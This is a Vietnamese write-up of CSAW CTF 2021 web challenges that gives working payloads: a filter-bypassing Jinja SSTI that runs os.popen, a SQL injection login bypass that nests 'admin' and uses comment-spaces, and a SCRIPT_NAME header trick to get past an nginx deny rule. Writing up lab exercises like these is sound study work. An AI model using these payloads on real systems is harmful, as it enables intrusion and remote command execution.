[Web]CSAW CTF 2021

ninja

SSTI có filter nên bypass bằng hex encode và |attr

PAYLOAD:

{{
    request
    |attr('application')
    |attr('\x5f\x5fglobals\x5f\x5f')
    |attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')
    |attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('\x6f\x73')
    |attr('popen')('cat flag.txt')|attr('read')()
}}

FLAG: flag{m0mmy_s33_1m_4_r34l_n1nj4}

no-pass-needed

Như description thì đăng nhập với username là admin là được. fuzz admin' or 1=1 -- - thì phát hiện bị xóa chuỗi admin và từ space trở về sau.

PAYLOAD: username=adadminmin'/**/or/**/1=1--/**/-&password=blahblah

FLAG: flag{wh0_n3ed5_a_p4ssw0rd_anyw4y}

-----AFTER-END-----

Một giải thất bại để đồng đội gánh :( chỉ làm được 2 câu ez. Bài có source thì không tìm ra bug còn không source thì fuzz quá ngu :))) thôi thì lỡ viết rồi thì viết luôn mấy bài không giải được.

Dưới đây là wu được viết lại sau khi đã đọc write up khác nhầm mục đích lưu lại làm tài liệu học tập.

Gatekeeping

Tóm tắt: bài này cho mình 1 file cần được decode để có flag. Nhưng khi gửi file này lên server thì sẽ không decode được do không có key và có 1 endpoint để get được key là /admin/key nhưng không thể access được do đã bị deny all bởi nginx config.

Trong file config có nhắc về path_info được được gunicorn xử lý trong wsgi. Đọc source code wsgi.py trên github của của gunicorn.

Đoạn code trên cho mình biết có thể truyền 1 header script_name. Header này có thể giúp mình bypass được deny của nginx (với điều kiện underscores_in_headers ở mode on).

Giải thích: khi path là a/b/c script_name a được gửi đi đến nginx rồi được truyền cho gunicorn backend xử lý thì path được nhận lúc này là /b/c.

GET /blah/admin/key HTTP/1.1
key_id: 05d1dc92ce82cc09d9d7ff1ac9d5611d
SCRIPT_NAME: blah

Get được key: b5082f02fd0b6a06203e0a9ffb8d7613dd7639a67302fc1f357990c49a6541f3

Có key có file và cách decrypt có trong file server.py, thực hiện viết lại script decrypt:

from Crypto.Cipher import AES
import binascii

with open('dist/flag.txt.enc','rb') as f:
    key = binascii.unhexlify('b5082f02fd0b6a06203e0a9ffb8d7613dd7639a67302fc1f357990c49a6541f3')
    data = f.read()
    iv = data[:AES.block_size]

    data = data[AES.block_size:]
    cipher = AES.new(key, AES.MODE_CFB, iv)

    print(cipher.decrypt(data))

FLAG: flag{gunicorn_probably_should_not_do_that}

securinotes

scp-terminal

Last updated

Was this helpful?